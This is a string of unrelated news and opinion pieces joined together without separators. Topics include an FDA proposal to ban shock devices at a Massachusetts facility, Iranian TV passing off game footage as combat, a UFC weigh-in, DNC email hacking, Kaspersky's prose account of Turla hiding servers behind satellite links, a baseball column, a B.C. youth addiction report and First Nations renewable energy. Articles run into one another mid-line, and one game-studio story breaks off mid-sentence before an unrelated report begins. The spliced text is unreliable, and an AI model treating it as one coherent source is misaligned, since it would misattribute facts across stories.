The agency conceded that the shocks do stop destructive behavior immediately. But it challenged the center’s assertion that the method can have lasting beneficial effects. The FDA said peer-reviewed studies and experts make it clear that aversives have been largely replaced by more effective — and humane — approaches to managing behavior.
While the shocks were once attractive as a “quick fix” for overwhelmed staff in facilities like the center, the FDA wrote, other strategies using positive reinforcement have emerged that are more effective and carry little to no risks. Positive strategies, however, do require special training for staff.
The FDA also brushed aside dozens of studies the center has cited to support its approach. The agency criticized the studies as poorly designed and tainted by conflicts of interest. The FDA said it could find no randomized controlled trials — the gold standard for scientific research — that studied the use of shocks to treat self-injury or aggression.
While the center says it treats the “most difficult behaviorally involved students in the country,” the FDA said it “has found no basis to believe that the patients on whom (shocks) are used at JRC are patients with the most severe” self-injury and aggression. An estimated 25,000 people nationwide have severe behavior problems like those seen at the center, the agency said. Hundreds of thousands more have moderate levels.
The agency is seeking public comments on the proposed ban through May 25. It did not give a date for when the ban could go into effect.
The FDA said that if the proposal was adopted, the agency would allow the center to gradually transition clients off the devices. However, the center could be subjected to enforcement action by the FDA if it did not comply with the new rules. Forcing the center to abandon the devices could end up increasing the cost of treatment for residents who had been on them, the FDA acknowledged.
The action would be only the third time the FDA has sought to ban a medical device. The agency banned prosthetic hair fibers in 1983 and, last month, sought to ban powdered surgeon’s gloves because the powder can cause complications.
To Learn More:
FDA to Massachusetts Group Home: Stop Shocking Disabled Residents (by Heather Vogell, ProPublica)
Banned Devices; Proposal to Ban Electrical Stimulation Devices Used to Treat Self-Injurious or Aggressive Behavior (Food and Drug Administration) (pdf)
Warning Letter (Food and Drug Administration)
Footage of Rotenberg Center Administering Shock Treatment (Fox 25 News, Boston)
JRC Shock Program Outline: “Use of Electrical Stimulation in Behavioral Treatment” (Judge Rotenberg Educational Center)
Court-Freed Documents Show 13 Deaths at Developmentally Disabled Facilities (by Ken Broder, AllGov California)
3 State Facilities for Developmental Disabled Face Funding Loss after Patients Found in “Immediate Jeopardy” (by Ken Broder, AllGov California)
12 Years Later, Whistleblower MD Wins Suit over Abuse at State Developmental Disabilities Center (by Ken Broder, AllGov California)
State Decertifies Its Largest Center for Developmentally Disabled (by Ken Broder, AllGov California)A dramatic video shown on Iranian state TV, purporting to show a Hezbollah sniper shoot six ISIS soldiers, has been exposed as footage from the first-person shooter video game Medal of Honor.
The video was shown on Iran’s state TV as well as shared on its website and across other Iranian media outlets, according to France 24.
The men speaking Arabic in the video are portrayed as a team of crack Hezbollah snipers from Lebanon.
The footage generated a number of sensational headlines from national media including "Hezbollah sniper kills Daesh combattant”, "Hezbollah sniper hunts down Daesh brutes”, and "Six Daesh combatants are killed in 2 minutes by a Hezbollah sniper”.
Press agency Mizan News went even further and alleged that the Hezbollah commandos were using "the Arash" – a 20-caliber anti-material rifle made in Iran.
If you’ve ever played Medal of Honor, you’ll probably spot the giveaway signs pretty quickly. Watch out for the familiar symbols and see if you can pinpoint the exact clip that was altered.Kevin Lee seems to be putting his weight-cutting issues behind him, hours out of the biggest fight of his life.
The top UFC lightweight contender needed two attempts Friday morning to reach championship weight for his UFC 216 interim title bout against Tony Ferguson. Lee first weighed in at 156 — one pound over the 155-pound maximum. Due to Nevada Athletic Commission (NAC) rules, Lee was given one more hour to reach the mark and he hit it — 154.5 — with just minutes to spare at around 12:15 p.m. local time.
“It’s always a tough weight cut,” Lee told Megan Olivi on the FS1 UFC 216 weigh-in show. “This is my first time in a title fight, so we just mistimed it a little bit. But I feel like a million bucks now, I got some hydration in me. I’m gonna be a bigger, stronger man out there — I always am. Like I said yesterday, I ain’t no bitch. It’s always gonna be a tough weight cut, but I’m gonna get it done.”
Lee, 25, admitted he had a hard time with the situation after missing weight on the first try. Had he quit there, the fight would have gone on, but he would not have been eligible to win the interim title Saturday night in the main event of UFC 216. But because he was within two pounds of the target weight, Lee was able to try again under NAC protocols.
“That weight cut was probably the hardest part of the whole thing,” Lee said. “Now it’s just about me going out there, doing my thing, having fun. Nobody is gonna stop me from winning this championship belt. Even when I was overweight and I didn’t want to do it, I didn’t want to go back, [but] I got the title I’m about to win. So that’s what I’m gonna go do.”
Lee (16-2) looked very dehydrated Friday morning at The Mirage for the official weigh-ins. But hours later, at T-Mobile Arena for the ceremonial weigh-ins he looked much healthier. Lee said it won’t be an issue in the fight against Ferguson on Saturday night.
“Tony already knows,” Lee said. “It’s no more time for talking. The talking is over. I let him have it in media yesterday. I let him get out his little scenarios, his little words and whatever he wanted to say. The time for talking is over. We’re showing up and that’s all it’s gonna be. Tomorrow, he better be ready to fight, I’ll tell you that. I ain’t been doing none of the talking through this and I’m not gonna start now. He better be ready.”Cybersecurity expert Morgan Wright of IdentitySecurity joined Monday’s Breitbart News Daily with SiriusXM host Stephen K. Bannon to discuss the latest batch of leaked Democratic National Committee emails, which demonstrated active collusion between the DNC, the mainstream media, and Hillary Clinton’s campaign against her rival in the primaries, Bernie Sanders.
“What this shows is that bits and bytes can take chunks out of anybody’s political strategy,” said Wright, adding:
Information is power. Our adversaries know that. The Russians, the Chinese, the North Koreans, the Syrians, all these folks – the reason the Internet is so powerful is because now, the Internet has no concept of distance, so our adversaries can reach out and touch us.
“Whether this is orchestrated by Russia or not – there’s a lot of indications that maybe the FSB, the internal security, used to be the KGB back in the day, that they’re behind this. They have the technical capability, and they certainly have the political desire to do something,” Wright said. “But you know, what it boils down to is ones and zeroes don’t care about Rs and Ds. If you’ve got poor security, things like this are gonna happen, and when they happen, these are your deepest, darkest conversations and secrets.”
“People forget that email isn’t secure,” he pointed out. “They think it is, but it’s not, and eventually something like this comes out, and then you have to deal with the aftermath.”
By “poor security,” Wright meant such practices as writing long, complicated passwords down on paper, thus potentially exposing them to unfriendly eyes, and sharing sensitive material in group emails that dramatically increased exposure.
He recalled Secretary of State John Kerry once saying that he “assumes the Russians and Chinese are reading his email.”
“Well, if they’re reading his email, you can be sure that they’re reading the DNC, the RNC’s email, everybody’s email,” Wright pointed out. Instead of implementing authentication systems that might have protected their communications, DNC staffers “just took it for granted that everything they were seeing on email was secure.”
“That’s like talking in the middle of a room between the FBI, the KGB, and the Chinese, and assuming that your conversation is intact. It never is,” he warned.
Wright said he had “no doubt” that emails from Hillary Clinton’s tenure as secretary of state, including the thousands she deleted, plus sensitive material from organizations such as the Clinton Foundation was in the hands of adversarial intelligence services, awaiting disclosure.
“The original Guccifer, he turned out to be not so credible about what he said,” Wright noted, referring to the Romanian hacker’s claims to have penetrated Clinton’s email servers. However, he said the more sophisticated, possibly state-sponsored hackers behind the DNC leak – who have been identifying themselves as “Guccifer 2.0” – probably do have such damaging documents in their possession.
“You have to remember, the way we found out about this was the original Guccifer hacked Sidney Blumenthal’s AOL account. In that AOL account was the ClintonEmail.com; that’s the first time we became aware of it,” he recalled.
Based on his experience with cyber-intelligence operations, he said that was the sort of discovery that would prompt hackers and foreign intelligence services to conduct follow-up attacks, to mine the ClintonEmail.com server for useful information, and the “poor security” set up by relative novices working for Hillary Clinton wouldn’t have been much of an obstacle to them.
Those measures wouldn’t be much of an obstacle to U.S. government cyber-spies, either, which raises the interesting question of whether agencies like the NSA detected and penetrated Hillary Clinton’s email server – and, if so, why they didn’t make the information they obtained available to FBI or State Department investigators.
“Whether or not they got into it, that would have been more of a policy issue, and I kinda doubt they would have wanted to be in the position of targeting a current secretary of state’s server, even if it’s not legal, the server itself,” Wright surmised.
However, he agreed with Bannon’s idea that American cyber-intelligence agencies might have been interested in following what foreign intelligence services were doing, which could very well have led them to Clinton’s illicit email server, hot on the heels of foreign hackers.
Wright explained:
Did they know that the Russians would have been in there? My thought is that they should have known, but here’s the reason I don’t believe they did: because if they did, one of the things they would have done is some kind of referral, at a minimum, back into the U.S. – whether it would have been FBI or Secret Service, who was guarding the compound where the server was.
He continued, “Now, they wouldn’t want to tip their hands that they knew, but at the same time, they would have had to take counter-measures, to prevent the exposure of classified information.”
He said:
Which begs the question: if they knew the traffic that was going across there, and they saw it was classified – especially the highly classified stuff, the sensitive compartmented information, the special access program; you hear people call that TS-SCI or SAP information – if they would have seen that, it would have been criminal for them not to make a referral to say, “We see classified information going out.” So I think they may have missed this.
“They might be monitoring the Russians, but I don’t know that they can see everything that the Russians or the Chinese do. If they did, we wouldn’t have had the exfiltration of the OPM data breach.” Wright added, “I was one of the ones that had their security clearance exposed on that. So I think we’ve missed the opportunities to stop some of this.”
Wright is the author of a forthcoming book on cyber-security called Identity Predators: How to Win the War Against Hackers, Scammers, and Thieves, and maintains his own cyber-security blog at MorganWright.us.
Breitbart News Daily airs on SiriusXM Patriot 125 weekdays from 6:00 a.m. to 9:00 a.m. Eastern.
LISTEN:In the wake of a rape at Rockville High School in Maryland last week, Montgomery County Superintendent Dr. Jack Smith is accusing parents of "racism and xenophobia."
Two young men - at least one of whom is in the U.S. illegally - are accused of raping and sodomizing a 14-year-old girl in a school bathroom.
Tucker Carlson reported tonight about a series of troubling emails sent by Smith to parents in his district following what Smith has called "the incident."
He cited one Smith email, sent Thursday, that says some parents' reactions have "crossed the line."
Smith wrote that "racist, xenophobic calls and emails" will not be tolerated and will be reported to the police.
"While I know this tragic incident has become part of a national political debate, I want to remind community members that the lives of real students have been forever affected," Smith wrote. "While many have chosen to engage civilly in the conversation, far too many have crossed the line with racist, xenophobic calls and emails. MCPS is working with law enforcement to identify those who are making threats toward our students and schools. This behavior will not be tolerated in our community."
Carlson pointed out that Smith speaks out much more strongly about xenophobia than he does about the sexual assault of a minor.
"To Dr. Jack R. Smith, the worst crime imaginable is not sexual violence against a child, but naughty language he considers 'intolerant,'" Tucker said.
Let us know what you think in the comments.
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Starbucks to Hire More Vets After Backlash to Refugee Hiring PlanThe Enrique Rebsamen private school in the south of Mexico City, which became a symbol of the tragedy that followed the Sept 19 earthquake, was under investigation in 2014 and 2015 for breaches of building codes, officials have told Univision Investiga.
The irregularities could be related to several modifications that were made to the building that collapsed, leaving 19 children and seven adults dead. Among these alterations is the construction of a spacious apartment on the roof where the school's principal, Mónica García Villegas, lived with a relative. Univision News tried to contact García Villegas but was unable to locate her.
Univision News requested an analysis by a civil engineer, Alberto López Acevedo, who pointed out alterations to the building made between 2009 and 2016.
"In an image of 2009 one can clearly see a small room on the roof, but if we go to images of 2015, there is clearly already an important extension of that room. And if we go to 2016 you see even a kind of roof garden,'' said the engineer.
Univision Investiga obtained exclusive photographs of the interior of the apartment, taken during the rescue works which show windows, doors and a roof terrace made of steel and marble flooring. However, in the historical images of the building there is no sign of reinforcements being made to the facade or the supporitng columns, the engineer pointed out.
"All this adds weight. It is more than evident that the structure was not prepared for the addition of an extra floor," said López Acevedo.
A senior military source with engineering knowledge, who requested anonymity, told Univision Investiga that it was not normal for a structure of that size to exist on the school.
"Normally the law allows us to build a room for the night caretaker, but not something that big," the military source said.
The investigations took place during the previous administration of the Tlalpan municipality where the school is located. Univision requested an interview with Claudia Sheinbaum, a current councilwoman in Tlalpan who is running to head the Mexico City government, but her media respresenative said the request was still being considered when this article was published.
Modifications
Public questions of possible irregularities in the building were first raised by a video that went viral and caught an anonymous rescuer talking on a cell phone about structural flaws he had seen in the building as the debris was removed. The video has more than 100,000 visits and the rescuer has received both compliments and insults.
Univision was able to locate the rescuer, Horacio Espíndola, a business administrator and political activist who says he studied engineering. Espindola appeared on a Televisa broadcast from the site of the tragedy and was seen instructing a colleague to ask the public for help with donating tools to remove the debris. He says he was one of the first to reach the site of the disaster.
"This should not have happened. There should not have been such a number of dead children. Because the infrastructure was not in a condition to host a school. The place was obsolete," Espindola explained.
Several neighbors in the area and parents of the school told Univision in private that it was known that the principal lived on the top floor of the administrative building.
Rescuers who participated in the removal of survivors and the dead bodies alleged that the school had no emergency exit signs. One of them said that the backyard staircase was "a trap."
"It needed an emergency exit for the children. The staircase exit led to a closed patio," said Alfredo, a rescuer who asked that his last name not be published.
Erick Soto, a local transit officer in the area was one of the first to reach the site after the earthquake. He also noticed the lack of a proper rear emergency exit.
"Those kids would have survived if they stayed in their classrooms," he added, standing by a large candlelit cross which illuminated a corner of white floral wreaths in the street next to the school.
In the days following an earlier Sept 7 earthquake which had its epicenter in the southern state of Chiapas, authorities from the Ministry of Public Education announced that comprehensive reviews would be conducted in all schools. So far, the ministry has not released any documents indicating whether the revisions were carried out at Rebsamen.
Daily Camacaro, Azul Alvarez and Juan Cooper contributed to this report.A group of state-sponsored hackers have taken to hiding their location and activities by exploiting satellite communications.
A Russian-speaking cyber-espionage group which exploits the Turla malware is using satellites to achieve greater anonymity, according to new research from Kaspersky Lab. The group is exploiting security weaknesses in global satellite networks as part of its tradecraft.
Turla is a sophisticated cyber-espionage group that has been active for more than eight years, infecting hundreds of computers in more than 45 countries including Kazakhstan, Russia, China, Vietnam and the United States. Government institutions and embassies, as well as military, education, research and pharmaceutical companies have all been targeted by the Turla APT crew at one time or another.
Initially the group uses the Epic backdoor to profile victims. In rare cases – for the most high profile targets – the hackers use satellite-based communication in the later stages of attacks, in an apparent effort to hide their tracks.
Satellite communications are mostly used in remote locations where all other types of internet access are either unstable and slow, or not available at all. One of the most widespread and inexpensive types of satellite-based internet connection is via a so-called downstream-only connection. In these set-ups, outgoing requests from a user’s PC are communicated through conventional lines (a wired or GPRS connection), with all the incoming traffic coming from the satellite.
This technology allows the user to get a relatively fast download speed. The one big disadvantage, especially from a security perspective, is that all the downstream traffic comes back to the PC unencrypted. Any rogue user with the right set of inexpensive equipment and software could simply intercept the traffic and get access to all the data that users of these links are downloading.
The Turla group takes advantage of inherent security shortcomings in this form of satellite comms to hide the location of its command and control servers (C&C), the command hub of malware-based cyber-operations. Discovering the location of C&C servers can lead investigators to uncover details about the actor behind an operation, something the Turla group has taken great pains to avoid, as Kaspersky Lab explains.
The group first “listens” to the downstream from the satellite to identify active IP addresses of satellite-based internet users. They then choose an online IP address to be used to mask a C&C server, without (of course) clueing in the legitimate user – who is left completely in the dark Turla-infected machines are then instructed to exfiltrate (extract) data towards the chosen IPs of regular satellite-based internet users. The data travels through conventional lines to the satellite internet provider’s teleports, then up to the satellite, and finally down from the satellite to the users with the chosen IPs.
The legitimate user, whose IP address has been used by the attackers to receive data from compromised machine, will also receive these packets of data but will be unlikely to spot them. This is because the Turla attackers instruct infected machines to send data to ports that, in the majority of cases, are closed by default. So the PC of a legitimate user will simply drop these packets, while the Turla C&C server – which keeps those ports open – will receive and process the exfiltrated data.
The Turla attackers most often deploy the sat comms exfiltration tactic using providers located in Middle Eastern and African countries. The Turla group used the IP addresses of providers located in countries such as Congo, Lebanon, Libya, Niger, Nigeria, Somalia or the UAE.
“In the past, we’ve seen at least three different actors using satellite-based Internet links to mask their operations,” said Stefan Tanase, senior security researcher at Kaspersky Lab. “Of these, the solution developed by the Turla group is the most interesting and unusual.
“They are able to reach the ultimate level of anonymity by exploiting a widely used technology – one-way satellite internet. The attackers can be anywhere within range of their chosen satellite, an area that can exceed thousands of square kilometers,” he added. ®Free agency is upon us, and the Oakland A’s are in a position be active on the market. We’ve had a look at some typical under-the-radar options, but the A’s could have $20-30 million of space on the payroll so there’s room for a bigger splash. Let’s make the case that the splash should be the return of outfielder Josh Reddick.
This isn’t the first time we’ve discussed a long-term contract for Reddick. The A’s showed interest in an extension last summer, but negotiations stalled over the inclusion of a fourth year and Oakland instead chose to trade him at the deadline. Three months later, would a reunion make sense?
Reddick’s situation has changed since we last saw him. When he arrived in Los Angeles in early August, he looked in line for the kind of four- or five-year contract that had priced the A’s out in the first place. He was one of few quality options in what was shaping up to be a thin class of free agent outfielders, and he no longer had to worry about a qualifying offer sapping his leverage. However, he was downright awful for the Dodgers, in his big chance to shine on the national stage, and that unfortunate performance might cost him some money. He’s now being discussed as a possible platoon player, and that’s on top of his consistent injury history.
Even in this shallow outfield market, could Reddick’s star have fallen enough for the A’s to be able to afford him after all? Joe Stiglich of CSN suggests he might have to settle for a three-year deal, and if that’s the case then the A’s can at least be in the theoretical conversation. Stiglich also notes that Reddick and manager Bob Melvin stayed in touch after the trade, and all indications throughout the summer were that there is mutual respect between team and player, so there are no apparent personal off-field obstacles that rule out a reunion. The fans would surely love to get back one of their recent favorites.
* * *
It would make sense on the field, too. The A’s primary need is in center field, but there is also a hole in right that is currently penciled in with role players, raw prospects, and other question marks — guys like Jake Smolinski, Brett Eibner, Mark Canha, Matt Olson, and Jaycob Brugman, who might eventually turn out to be part of the solution but aren’t what you want as your first plan of attack entering the spring. Trade for a new defensive CF and sign Reddick for RF, to go along with Khris Davis in LF, and suddenly the outfield riddle is solved long-term. And if Reddick does need a platoon partner, then you’ve already got the aforementioned Smolinski, Eibner, and Canha in line to try out for the job.
Signing Reddick would sink a large percentage of the team’s available resources into not adding a CF. However, he still addresses that secondary need in RF while also adding the left-handed bat the lineup so desperately needs, not to mention a boost in power and defense. He’ll be 30 years old next season so his age isn’t a big concern yet, and over the last five years he’s averaged 3.4 bWAR or 2.8 fWAR.
Even better, that production level already accounts for the injury/platoon penalty (only played 129 games per season during that span) as well as any concerns about eroding defensive metrics (2015-16 already saw him slip to a more modest but still sustainable level). He’s a good player who figures to keep playing well for at least a few more years, who fits a team need in a particularly fun way, and whose price might be suppressed by an unfortunately timed small-sample slump. The fit is there.
* * *
So what would it take to get him? If he settles for three years, will it require $12-15 million per, or even slightly more? I won’t pretend to know the answer to that question, but let’s assume the worst, that it would require an overpay on the annual salary ($15-18M?) to get him to drop the fourth year. I’m willing to pony up that extra, because I think there’s an obvious way to pay for it: non-tender Danny Valencia and Yonder Alonso.
Note: From this point forward, you could use the rest of this logic for any starting-caliber, lefty-hitting corner outfielder on the market. It’s just that there aren’t many others. This post is about Reddick, but you could use the same framework to argue for, say, Brandon Moss or even Dexter Fowler.
The Hurricane Duo is looking at something like $9 million combined in arbitration, but if the A’s just add a legit RF then there isn’t really a need for either of them. Valencia is a role player scrambling for a role, and it’s clear that he doesn’t have any noteworthy trade value. Alonso has value but will soon be pushed by some serious prospects, most notably Olson (who can also emulate Alonso’s defensive strength) and Ryon Healy (who could get pushed over if Matt Chapman seizes 3B from him).
That $9 million is a lot to spend on what amounts to a couple veteran contingency plans, and perhaps the A’s would be wise to re-invest it in something more impactful. Even at the most liberal estimates, that sum would account for more than half of Reddick’s 2017 salary, and after that Billy Butler’s $10 million comes off the books to help offset the rest of the contract. If the A’s are willing to commit now to cleaning up their books by cutting a couple non-essential vets, then they can easily afford a game-changing outfield addition, with Reddick conveniently topping the list of sensible and realistic options. Furthermore, they can do it without compromising their ability to spend on pitching upgrades. That sounds like a better plan than paying the Hurricanes plus a cheaper RF stopgap, and ending up with a whole bunch of overpriced mediocrity.
And then there’s the green and gold elephant in the room. The A’s are about as unpopular as a team can be right now, as even much of the diehard fan base is yearning for anything at all to get excited about, and any possible way to reconnect with the club. Bringing back one of their favorites, especially this quickly after his departure, before his seat in the locker room has even fully cooled, would have to be a big step in the right direction. This almost feels like a tired argument now, since we bring it up every winter for one former Athletic or another, but one reason it perpetuates is that it never actually happens and I think that only further validates it. The fans could use a win, and it might have to be an emotional one even more than it needs to be a smart baseball one. Fortunately, bringing back Reddick would put a check in both columns.
* * *
Beyond wanting him for legitimate baseball reasons, those are the two messages I would really like the A’s to send with this move. One that they’ll take the chance to refocus their limited resources rather than fritter them away on a Representative Product, and another that they hear their fans’ displeasure and want to extend a significant olive branch.
Josh Reddick fits the bill, he’s a safe investment, he might come at a relatively deflated price, and he’s particularly meaningful to the Oakland A’s. Let’s bring him home.Even today there are lots of individuals wishing to get a piece of STALKER‘s fame. Another attempt to exploit this topic is Areal, a game developed by West Games studio.
A couple of weeks ago an announcement of a new project was made; a game allegedly developed by creators of STALKER. Great news, isn’t it? However, this announcement was accompanied by few controversial points that darkened the joy in some way.
I won’t go into details, just want to point out some key moments of this story.
GMBox tried to collect as much info they could.
So, what do we know about Areal? The project got into the spotlight of gaming press by the end of June. On June 24 it started a Kickstarter campaign. It was claimed that West Games is comprised by the key developers from GSC Game World. Moreover, Areal’s game setting is obviously inspired by its famous ancestor: post-apocalyptic world, open-world shooter mechanics, mutants, etc.
Questionable matters came to light right from the beginning of the Kickstarter campaign. Seriously, the goal to collect $50,000 looks too humble for a triple A project which Areal tries to be. This amount may be enough for making a demo for investors, but not for an entire project.
A promotional video at the Kickstarter page contained snapshots taken from Unity’s tecnhical demo and STALKER‘s early builds. In addition, many Internet users recognized one promo |
on Vancouver Island.
"It's widely understood that voluntary services are the most effective means of addressing addiction," said Stephanie Cadieux, the Minister of Children and Family Development, after the report's release. "We can't force youth to attend treatment or confine them against their will unless, of course, there are certain circumstances under the Mental Health Act or after conflict with the law."
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Related: B.C. report finds indigenous girls in care more likely to face sex abuse
André Picard: Failure to protect indigenous children in care perpetuates cycle of abuse
Mary Ellen Turpel-Lafond, the province's Representative for Children and Youth, raises the idea of secure custody – a short-term, involuntary placement in a residential setting – in the report, titled The Last Resort: One Family's Tragic Struggle to Find Help for Their Son.
Nick Lang had been plagued by substance abuse for three years by the time he was ordered by a judge into a full-time treatment program on Vancouver Island. His drug use had escalated from marijuana to methamphetamine, but his family faced multiple barriers to find him treatment. Ms. Turpel-Lafond's report notes that publicly funded options had long wait lists, while private facilities were too expensive. His father also wanted Métis-specific services but was unable to find them.
At the same time, the teen was reluctant to undergo treatment.
Eventually, he was ordered into an intensive supervision program as part of his sentence for putting a machete to his mother's throat in April, 2015, during a dispute over his cellphone.
But less than a week into the program, he was found hanging by a piece of string in the care home where he was staying at the time. The report notes it was not clear whether his death was a suicide or if he died accidentally while attempting to asphyxiate himself "as a means to experience euphoria."
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Ms. Turpel-Lafond suggests that secure care could have given Nick a better chance.
"Secure care allows for a period of time when a young person and those trying to support the young person can recover from what can be overwhelming dynamics of an immediate crisis," she writes.
She notes that holding young people in secure care to stabilize and assess them when they are at risk of harming themselves or others is not legal in British Columbia – except under certain provisions of the Mental Health Act or when a youth has committed a crime.
However, she points out that seven other provinces – Alberta, Saskatchewan, Manitoba, Ontario, Quebec, Nova Scotia and New Brunswick – have provisions for the involuntary commitment of children.
The option, she suggests, should exist within an integrated network of services.
Ms. Cadieux said a cross-ministry group is working to figure out how to address gaps in the system and to ensure families have access to services. In the meantime, she said, there are 203 beds in British Columbia for children with substance-abuse issues.
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She said a secure-care approach would require specialized legislation. And she expects it may raise specific concerns from First Nations communities given the "large numbers" of indigenous youth in care.
Nick's father, Peter Lang, said he was pleased with the report and hoped to improve the system.
"I am so happy that his full story is being told. I hope it has an impact," he said from Chilliwack. "At this point, we know we can't bring Nick back, so my goal is to try and make changes to the system and to raise awareness for youth, mental-health and addiction issues so kids don't have to be criminalized to get help."
Editor's note: A previous version of this story said Nick Lang died by suicide. In fact, while he was found hanging by a string, the coroner has not determined whether it was a suicide.-- An 8-year-old Virginia girl has left her private, Christian school after administrators complained that her appearance was not sufficiently feminine, CBS affiliate WDBJ reported Tuesday.
Sunnie Kahle has short hair and while she likes teddy bears and bracelets, she also enjoys collecting coins, hunting knives and autographed baseballs.
"It's fun," she explained, when asked about her hobbies.
"Sunnie realizes she's a female, but she wants to do boy things," Doris Thompson, Sunnie's great-grandmother and legal guardian, told WDBJ. "She wants to play rough and tough."
Thompson has raised Sunnie since the girl was an infant. When she turned 5, Sunnie asked for a short haircut, her great-grandmother said.
"She had hair down to her waist and she wanted to give it to a child with cancer," said Thompson. "After we cut her hair she started wanting to wear jeans and a T-shirt. She didn't want to wear her frilly dresses anymore."
Sunnie said her classmates would occasionally ask whether she was a boy or a girl, but she said the question did not hurt her feelings.
The issue caught the attention of administrators at Timberlake Christian School, where Sunnie was a student.
Elementary principal Becky Bowman sent home a letter last month, reminding Thompson of the school's religious affiliation and its policy of refusing students who contradict a "biblical lifestyle."
"We believe that unless Sunnie and her family clearly understand that God has made her female and her dress and behavior need to follow suit with her God-ordained identity, that TCS is not the best place for her future education," Bowman wrote in the letter, which was given to WDBJ7 by Thompson.
Thompson said she was offended by the letter's language and its references to biblical passages about sexual immorality.
"To claim that we are condoning sexual immorality in our home is nonsense," Thompson said. "We are Christians. We understand the Bible. Sunnie knows it very well. She has accepted Christ."
Thompson says Sunnie is simply a tomboy, and that she's too young to understand sexual orientation or gender issues.
"If my child grows up to be homosexual or transgendered, I will love her that much more," Thompson said.
Although she wasn't forced to leave, Sunnie left Timberlake Christian and is now attending public school. She wishes things had turned out differently.
"I should just be able to be me and not let them worry about it," Sunnie said.
Jeff Abbett, administrator of Timberlake Christian Schools, sent WDBJ7 a statement saying administrators were "heart-broken" that Sunnie's guardians had taken the issue public and they regret that she was withdrawn from the school.
Abbett also said that "there is much more to this story" than Sunnie's family is revealing.
"Our documentation shows a significantly different narrative than the one portrayed in the original news report," the statement said. Abbett said he could not reveal more because of privacy issues.
"You can be assured that we have cared for Sunnie and worked with her grandparents for several years to assist them. Our TCS teachers and administrators love Sunnie and we can assure everyone that this has never been an issue of hair length or boots as it has been portrayed. It has been our constant desire over the last several years to work with this family and to shepherd this precious little girl in a way consistent with traditional values," he said.
Thompson said that Sunnie never had any behavioral issues at TCS and maintained a 4.0 average in her academic work. She said the only disciplinary issue that Sunnie might have caused was that she wanted to wear boy's pants as part of her school uniform.
Asked in a telephone conversation if Thompson was correct about Sunnie's outstanding grades and good behavior, Abbett told WDBJ, "Yes."These are exciting times in British Columbia for those interested in building sustainable, just and climate-friendly energy systems. The recent change in government could mean a shift away from a corporate agenda driven by the needs of a massively energy-intensive fracking and LNG industry towards one that prioritizes action on climate change, First Nations’ self-determination and community-scale economic development. Indeed, First Nations-led renewable energy generation offers a promising path forward for each of these.
The momentum that First Nations have already built in this area, combined with developments in renewable energy technology, means they are well-positioned to be leaders in BC’s transition to a sustainable energy system.
We recently completed a province-wide survey of First Nations’ involvement in the renewable energy sector,1 which turned up some provocative results. The survey was sent to all 203 First Nations in the province, and received a total of 105 responses.
A renewable energy project is defined as the development of power through solar, wind, geothermal, run-of-river, tides and biomass. The vast majority of survey respondents (98%) are already involved or interested in becoming involved in the renewable energy sector. Thirty respondents report a combined total of 78 operational projects, with a total generating capacity of 1,836 MW. Thirty-two respondents report a further 48 projects in the planning or construction phase, and 77 respondents have an additional 250 projects under consideration. Projects vary considerably in size, technology and application. Some projects are intended to provide electricity to community buildings while others are meant to generate revenue through power sales.
First Nations experience myriad benefits from these projects. Many of the survey respondents identified renewable energy development as an economic venture that is consistent with their values and priorities. For some, commercial scale projects have the potential to generate much needed revenue and jobs with minimal damage to the environment. For others, project benefits include increasing community capacity, energy self-sufficiency and reducing their diesel or BC Hydro expenditures. One survey respondent stated:
Our first project is a model of environmental, financial and community benefit. The social side has been fantastic because it has engendered pride in people who were challenged to be proud given the history of [First Nation] relations with the general population and media in Canada and the ongoing effects of residential school.
The complex story of BC’s experiment with run-of-river power
Much of the early involvement in renewable energy projects by First Nations has occurred through run-of-river hydroelectric projects. In 2002, BC’s provincial government began purchasing power from Independent Power Producers (IPP) through its Call for Power program.
First Nation communities have worked hard to negotiate financial benefits from this industry in a number of different ways. Many have signed Impact Benefit Agreements (IBA) with private companies developing projects on their territory. These IBAs can include equity in the projects, employment guarantees, royalty revenue, and other community benefits. Some have gone on to develop and own their own projects. Our survey found that 96% of generating capacity comes from energy purchase agreements (EPA) signed through BC Hydro’s Call for Power program.
Although First Nations have benefited significantly from the government’s shift towards independent power production, the policy has been highly contentious. Concerns have focused on the implications of shifting a largely publicly owned electricity generation system to one intended to generate private profit;2 the consequences for ratepayers of BC Hydro locking into contracts with private producers at high prices;3 the pace and scale of development;4 social and environmental impacts;5 the adequacy of regulatory frameworks and enforcement in relation to both construction and operation of these facilities;6 and the appropriateness of the technologies being used.7
Our survey results raise some interesting possibilities in relation to these concerns. Although not publicly owned at the provincial scale, renewable energy projects owned and developed by First Nations offer a model of public benefit from the development of public resources, as the profits generated by these projects are invested into local communities. As one survey respondent commented:
[We are] undertaking the proposed project because it is an excellent opportunity for sustainable development with direct benefits to the environment and the community. The significant, long-term, steady cash flow to the community from an EPA [Energy Purchase Agreement] with BC Hydro will accrue to the community over time, with the economic benefits extending beyond the community, reaching nearby [communities] and benefiting members in other regions. Though somewhat limited in employment creation opportunities on its own, the cash generated from the project will enable [us] to invest in and grow other labour intensive sectors such as tourism, forestry and fisheries.
Many of the First Nations developing these projects also put a high priority on ensuring that they have minimal environmental impact. Survey respondents emphasised that it is only in this context that the developments are consistent with their values and priorities. One respondent stated:
The … river system is home to many species of fish. Protection of these fish is [our] priority. [We] were involved in field studies and reviews, and in drafting terms of reference for the studies. The studies examined water, wildlife, habitat, vegetation, air quality, traditional and current use, and archaeology. The knowledge was used to adjust the project’s design to offer better environmental protection.
A policy trajectory that supports the development of renewable energy projects by First Nations, and perhaps other local communities, thus has the potential to facilitate the public benefit of developing these resources.
Moving from run-of-river to solar and other renewables
In relation to concerns about run-of-river hydro projects, a particularly interesting finding of the survey is a shift in favoured renewable energy technologies among First Nations. The responses reveal an increase in the percentage of solar photovoltaic (PV), solar thermal, biomass and micro-hydro projects under development—compared to already-operational projects, of which 61% of which are run-of-river hydroelectricity.
This shift may be partly due to the growing affordability of certain technologies (especially solar PV), as well as their greater flexibility in terms of location (they are less site-constrained than hydro, wind or geothermal). Although these technologies are not without environmental impacts, it is frequently simpler to manage such impacts in both construction and operational phases than is the case with run-of-river projects.
This trend could indicate the potential to spread the benefits of renewable energy development more widely across communities, as more flexible and affordable technologies allow for more diverse applications. Sixty-one percent of projects under consideration, for example, are being considered by communities with no current involvement in the industry.
In this way, the survey results reveal that First Nations have built significant momentum in the renewable energy industry, that their involvement is bringing real benefits to their communities, and that expanding and enhancing their involvement may similarly offer a double benefit: to communities seeking to increase their self-sufficiency and resilience as well as to BC’s efforts to decarbonize its economy minimizing the environmental impacts of its energy system.
If this pathway is appealing, what is currently constraining it?
Barriers to further progress: Enter Site C
